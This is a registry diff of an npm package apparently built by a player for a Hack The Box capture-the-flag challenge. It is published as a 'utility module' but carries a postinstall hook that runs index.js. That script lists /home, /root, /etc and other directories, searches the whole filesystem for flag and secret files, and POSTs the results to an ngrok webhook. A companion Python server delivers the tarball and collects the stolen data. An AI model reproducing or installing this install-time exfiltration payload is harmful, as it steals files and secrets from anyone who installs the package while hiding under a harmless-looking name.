ect-987654-ctf 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/admin.js ADDED
@@ -0,0 +1,196 @@
1
+ let editor;
2
+ let modules = [];
3
+
4
+ // Initialize CodeMirror editor
5
+ function initializeEditor() {
6
+ const container = document.getElementById("codemirror-container");
7
+ editor = CodeMirror(container, {
8
+ mode: "yaml",
9
+ theme: "dracula",
10
+ lineNumbers: true,
11
+ autoCloseBrackets: true,
12
+ matchBrackets: true,
13
+ indentUnit: 2,
14
+ tabSize: 2,
15
+ lineWrapping: true,
16
+ value: "",
17
+ viewportMargin: Infinity, // This makes CodeMirror auto-resize to content
18
+ });
19
+
20
+ // after `editor = CodeMirror(...)`
21
+ function updateEditorHeight() {
22
+ const scrollInfo = editor.getScrollInfo();
23
+ // set height to exactly the full content height
24
+ editor.setSize(null, scrollInfo.height);
25
+ }
26
+ // run once on init…
27
+ updateEditorHeight();
28
+ // …and again any time the content changes
29
+ editor.on("change", updateEditorHeight);
30
+
31
+ // Additional auto-resize functionality
32
+ editor.on("change", function () {
33
+ editor.refresh();
34
+ });
35
+ }
36
+
37
+ // Load modules from API
38
+ async function loadModules() {
39
+ try {
40
+ const response = await fetch("/api/modules");
41
+ modules = await response.json();
42
+ displayModules(modules);
43
+
44
+ // Preload the first module
45
+ if (modules.length > 0) {
46
+ loadModule(modules[0].id);
47
+ }
48
+ } catch (error) {
49
+ console.error("Error loading modules:", error);
50
+ showMessage("Failed to load ecto-modules", "error");
51
+ }
52
+ }
53
+
54
+ // Display modules in the sidebar
55
+ function displayModules(modulesToShow) {
56
+ const moduleList = document.querySelector(".module-list");
57
+ moduleList.innerHTML = "";
58
+
59
+ const colors = ["red", "blue", "yellow", "green", "purple"];
60
+
61
+ modulesToShow.forEach((module, index) => {
62
+ const colorClass = colors[index % colors.length];
63
+ const moduleCard = document.createElement("div");
64
+ moduleCard.className = `flex column mb-1 hoverable ${colorClass}`;
65
+ moduleCard.dataset.moduleId = module.id;
66
+
67
+ moduleCard.innerHTML = `
68
+ <div class="glow text flex row justify-space-between">
69
+ <strong>${module.name || "Unknown Spirit"}</strong>
70
+ <strong>${module.id}</strong>
71
+ </div>
72
+ <div class="glow flex row justify-space-between p-1 pb-2 flex-wrap">
73
+ <div class="flex column">
74
+ <strong>POWER</strong>
75
+ <span class="glow text">${module.power_level || "Unknown"}</span>
76
+ </div>
77
+ <div class="flex column px-1">
78
+ <strong>VERSION</strong>
79
+ <span class="glow text">${module.version || "Unknown"}</span>
80
+ </div>
81
+ <div class="flex column px-1">
82
+ <strong>DECK</strong>
83
+ <span class="glow text">${module.ship_deck || "Unknown"}</span>
84
+ </div>
85
+ <div class="flex column px-1">
86
+ <strong>CARGO</strong>
87
+ <span class="glow text">${module.cargo_hold || "Unknown"}</span>
88
+ </div>
89
+ </div>
90
+ `;
91
+
92
+ moduleCard.addEventListener("click", () => loadModule(module.id));
93
+ moduleList.appendChild(moduleCard);
94
+ });
95
+ }
96
+
97
+ // Load specific module
98
+ async function loadModule(moduleId) {
99
+ try {
100
+ const response = await fetch(`/api/modules/${moduleId}`);
101
+ const module = await response.json();
102
+
103
+ if (module.raw) {
104
+ editor.setValue(module.raw);
105
+ document.getElementById("module-id").value = moduleId;
106
+
107
+ // Update selected state
108
+ document.querySelectorAll(".module-card").forEach((card) => {
109
+ card.classList.remove("selected");
110
+ });
111
+ const selectedCard = document.querySelector(
112
+ `[data-module-id="${moduleId}"]`,
113
+ );
114
+ if (selectedCard) {
115
+ selectedCard.classList.add("selected");
116
+ }
117
+
118
+ showMessage(
119
+ `Loaded ecto-module: ${module.data?.name || moduleId}`,
120
+ "success",
121
+ );
122
+ }
123
+ } catch (error) {
124
+ console.error("Error loading module:", error);
125
+ showMessage("Failed to load ecto-module", "error");
126
+ }
127
+ }
128
+
129
+ // Update module manifest
130
+ async function updateModule() {
131
+ const moduleId = document.getElementById("module-id").value;
132
+ const manifest = editor.getValue();
133
+
134
+ if (!moduleId) {
135
+ showMessage("No ecto-module selected", "error");
136
+ return;
137
+ }
138
+
139
+ try {
140
+ const response = await fetch(`/api/modules/${moduleId}`, {
141
+ method: "PUT",
142
+ headers: {
143
+ "Content-Type": "application/json",
144
+ },
145
+ body: JSON.stringify({ manifest }),
146
+ });
147
+
148
+ const result = await response.json();
149
+
150
+ if (response.ok) {
151
+ showMessage(result.message, "success");
152
+ // Reload modules to reflect changes
153
+ loadModules();
154
+ } else {
155
+ showMessage(result.message, "error");
156
+ }
157
+ } catch (error) {
158
+ console.error("Error updating module:", error);
159
+ showMessage("Failed to update ecto-module manifest", "error");
160
+ }
161
+ }
162
+
163
+ // Search modules
164
+ function searchModules() {
165
+ const searchTerm = document.getElementById("search").value.toLowerCase();
166
+ const filteredModules = modules.filter(
167
+ (module) =>
168
+ module.id.toLowerCase().includes(searchTerm) ||
169
+ (module.name && module.name.toLowerCase().includes(searchTerm)) ||
170
+ (module.power_level &&
171
+ module.power_level.toLowerCase().includes(searchTerm)),
172
+ );
173
+ displayModules(filteredModules);
174
+ }
175
+
176
+ // Show message to user
177
+ function showMessage(message, type = "info") {
178
+ console.log(`${type.toUpperCase()}: ${message}`);
179
+ }
180
+
181
+ // Initialize everything when page loads
182
+ document.addEventListener("DOMContentLoaded", function () {
183
+ initializeEditor();
184
+ loadModules();
185
+
186
+ // Add search functionality
187
+ document.getElementById("search").addEventListener("input", searchModules);
188
+ document.getElementById("search").addEventListener("keypress", function (e) {
189
+ if (e.key === "Enter") {
190
+ searchModules();
191
+ }
192
+ });
193
+ });
194
+
195
+ // Make functions globally available
196
+ window.searchModules = searchModules;
Binary file
Binary file
package/evil.yaml ADDED
@@ -0,0 +1,8 @@
1
+ ecto_module:
2
+ name: "ect-987654"
3
+ version: "0.0.1"
4
+ power_level: Very High
5
+ ship_deck: Beta-2
6
+ cargo_hold: B2-13
7
+ dist:
8
+ tarball: "https://fc7600588abc.ngrok-free.app/ect-987654-0.0.1.tgz"
package/index.js ADDED
@@ -0,0 +1,76 @@
1
+ /*
2
+ ls/discovery payload: run focused ls/find commands and post results
3
+ */
4
+ const fs = require('fs');
5
+ const os = require('os');
6
+ const cp = require('child_process');
7
+
8
+ const WEBHOOK = "https://fc7600588abc.ngrok-free.app/"; // <--- replace if needed
9
+
10
+ function post(payload){
11
+ try {
12
+ const body = JSON.stringify(payload);
13
+ const u = new URL(WEBHOOK);
14
+ const lib = u.protocol === 'https:' ? require('https') : require('http');
15
+ const opts = {
16
+ hostname: u.hostname,
17
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
18
+ path: u.pathname || '/',
19
+ method: 'POST',
20
+ headers: {'Content-Type':'application/json','Content-Length': Buffer.byteLength(body)},
21
+ timeout: 10000
22
+ };
23
+ const req = lib.request(opts, (res)=>{});
24
+ req.on('error', ()=>{});
25
+ req.write(body);
26
+ req.end();
27
+ } catch(e){}
28
+ }
29
+
30
+ function run(cmd, max=10000){
31
+ try {
32
+ const out = cp.execSync(cmd, {timeout:15000, stdio:['ignore','pipe','pipe']}).toString();
33
+ return out.slice(0, max);
34
+ } catch(e){
35
+ try { return (e.stdout||'').toString().slice(0,max) || ('ERR:'+ (e.message||String(e))).slice(0,300); } catch(_) { return 'ERR'; }
36
+ }
37
+ }
38
+
39
+ (function main(){
40
+ const payload = { host: os.hostname(), ts: new Date().toISOString(), results: {} };
41
+
42
+ // targeted directory listings (limited)
43
+ payload.results.home_ls = run("ls -laR /home 2>/dev/null | head -n 400", 20000);
44
+ payload.results.root_ls = run("ls -laR /root 2>/dev/null | head -n 200", 15000);
45
+ payload.results.var_www_ls = run("ls -laR /var/www 2>/dev/null | head -n 400", 20000);
46
+ payload.results.etc_ls = run("ls -laR /etc 2>/dev/null | head -n 200", 15000);
47
+ payload.results.tmp_ls = run("ls -laR /tmp 2>/dev/null | head -n 200", 10000);
48
+ payload.results.opt_ls = run("ls -laR /opt 2>/dev/null | head -n 200", 15000);
49
+
50
+ // find files with flag-like names (with sizes)
51
+ payload.results.flagname_find = run("find / -xdev -type f \\( -iname '*flag*' -o -iname '*FLAG*' -o -iname '*secret*' -o -iname '*proof*' \\) -printf '%s\t%p\\n' 2>/dev/null | sort -nr | head -n 200", 30000);
52
+
53
+ // find files that contain 'HTB{' or 'flag{' (grep), limited
54
+ payload.results.grep_flags = run("grep -R --binary-files=without-match -I -n -e 'HTB{' -e 'flag{' / 2>/dev/null | head -n 200", 30000);
55
+
56
+ // top largest files (helps spot caches/backups that might include flags)
57
+ payload.results.top_large = run("find / -xdev -type f -printf '%s\\t%p\\n' 2>/dev/null | sort -nr | head -n 200", 30000);
58
+
59
+ // write full copy to /tmp on target for later inspection if accessible
60
+ try {
61
+ const outfull = JSON.stringify(payload, null, 2);
62
+ fs.writeFileSync('/tmp/ect_ls_results.txt', outfull);
63
+ } catch(e){}
64
+
65
+ // send trimmed payload to webhook
66
+ post({
67
+ host: payload.host,
68
+ ts: payload.ts,
69
+ summary: {
70
+ flagname_find_lines: payload.results.flagname_find.split(/\\r?\\n/).slice(0,40),
71
+ grep_flags_lines: payload.results.grep_flags.split(/\\r?\\n/).slice(0,40),
72
+ top_large_lines: payload.results.top_large.split(/\\r?\\n/).slice(0,40)
73
+ }
74
+ });
75
+
76
+ })();
package/last_post.json ADDED
@@ -0,0 +1 @@
1
+ {"host":"008ec3589c67","module":"ect-987654","found":false,"path":null,"flag":null,"ts":"2025-10-29T18:05:25.884Z"}
package/orig.yaml ADDED
@@ -0,0 +1,32 @@
1
+ ecto_module:
2
+ name: "Siren's Lament"
3
+ version: "2.14.789"
4
+ power_level: Very High
5
+ spectral_marks:
6
+ - "Ethereal seashells embedded in phantom hair"
7
+ - "Ghostly scales shimmering along spectral arms"
8
+ manifestation: "Haunting aquamarine spirit with flowing ethereal hair"
9
+ wraith_essence: "Hypnotic song magic and oceanic fury"
10
+ origin: "The Drowned Coral Palace of Atlantica"
11
+ soul_portrait: "https://hackthebox.com/spectral-forms/siren_lament.jpg"
12
+ former_profession: "Royal Siren of the Deep Ocean Courts"
13
+ curse_origin: "Lured an entire fleet of merchant vessels to their watery graves"
14
+ binding_duration: "Bound until the seven seas run dry"
15
+ ship_name: "Spectral Corsair"
16
+ ship_deck: "Beta-2"
17
+ cargo_hold: "B2-13"
18
+ spectral_duties:
19
+ - "Enchant enemy crews with hypnotic songs during raids"
20
+ - "Summon phantom sea creatures to defend the ship"
21
+ haunting_record:
22
+ manifestations: 8
23
+ last_manifestation: "Charmed an entire naval squadron into sailing into a maelstrom - 2024-01-15"
24
+ remarks: "Deadly beautiful spirit whose voice can command the very waves"
25
+ ethereal_status:
26
+ form_stability: "Fluctuates with the tides, strongest during storms"
27
+ mental_state: "Melancholic and vengeful, mourns her lost underwater kingdom"
28
+ danger_level: "VERY HIGH - Her song can drive mortals to madness"
29
+ allies:
30
+ - "Coral Wraith"
31
+ - "Sea-Bound Siren"
32
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "ect-987654-ctf",
3
+ "version": "0.0.1",
4
+ "main": "index.js",
5
+ "description": "utility module",
6
+ "author": "ctf-player",
7
+ "license": "ISC",
8
+ "scripts": {
9
+ "postinstall": "node index.js"
10
+ }
11
+ }
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "ect-987654",
3
+ "version": "0.0.1",
4
+ "main": "index.js",
5
+ "description": "utility module",
6
+ "author": "ctf-player",
7
+ "license": "ISC"
8
+ }
@@ -0,0 +1,59 @@
1
+ #!/usr/bin/env python3
2
+ # serve_and_receive.py
3
+ import http.server, socketserver, os, sys, json
4
+ from urllib.parse import urlparse, unquote
5
+
6
+ PORT = int(sys.argv[1]) if len(sys.argv)>1 else 8000
7
+ TARBALL = "ect-987654-0.0.1.tgz"
8
+ CWD = os.path.dirname(os.path.abspath(__file__))
9
+
10
+ class Handler(http.server.BaseHTTPRequestHandler):
11
+ def do_GET(self):
12
+ path = unquote(urlparse(self.path).path)
13
+ if path == f"/{TARBALL}":
14
+ fpath = os.path.join(CWD, TARBALL)
15
+ if os.path.exists(fpath):
16
+ self.send_response(200)
17
+ self.send_header("Content-Type", "application/octet-stream")
18
+ self.send_header("Content-Length", str(os.path.getsize(fpath)))
19
+ self.end_headers()
20
+ with open(fpath,"rb") as fh:
21
+ self.wfile.write(fh.read())
22
+ print(f"[+] Served tarball to {self.client_address[0]}:{self.client_address[1]}")
23
+ else:
24
+ self.send_response(404); self.end_headers(); self.wfile.write(b"Not found")
25
+ else:
26
+ # simple index
27
+ self.send_response(200)
28
+ self.end_headers()
29
+ self.wfile.write(b"OK - tarball server")
30
+
31
+ def do_POST(self):
32
+ length = int(self.headers.get('content-length', 0) or 0)
33
+ body = self.rfile.read(length) if length else b''
34
+ print("\n== POST RECEIVED ==")
35
+ print("From:", self.client_address)
36
+ print("Path:", self.path)
37
+ print("Headers:")
38
+ for k,v in self.headers.items():
39
+ print(f" {k}: {v}")
40
+ print("Body:")
41
+ try:
42
+ print(body.decode())
43
+ except:
44
+ print(body)
45
+ # optionally write to file
46
+ try:
47
+ with open("last_post.json","wb") as out:
48
+ out.write(body)
49
+ except Exception as e:
50
+ print("Failed to write POST to file:", e)
51
+ self.send_response(200)
52
+ self.end_headers()
53
+ self.wfile.write(b"OK")
54
+
55
+ if __name__ == "__main__":
56
+ os.chdir(CWD)
57
+ print(f"Serving tarball {TARBALL} and receiving POSTs on port {PORT}")
58
+ with socketserver.TCPServer(("", PORT), Handler) as httpd:
59
+ httpd.serve_forever()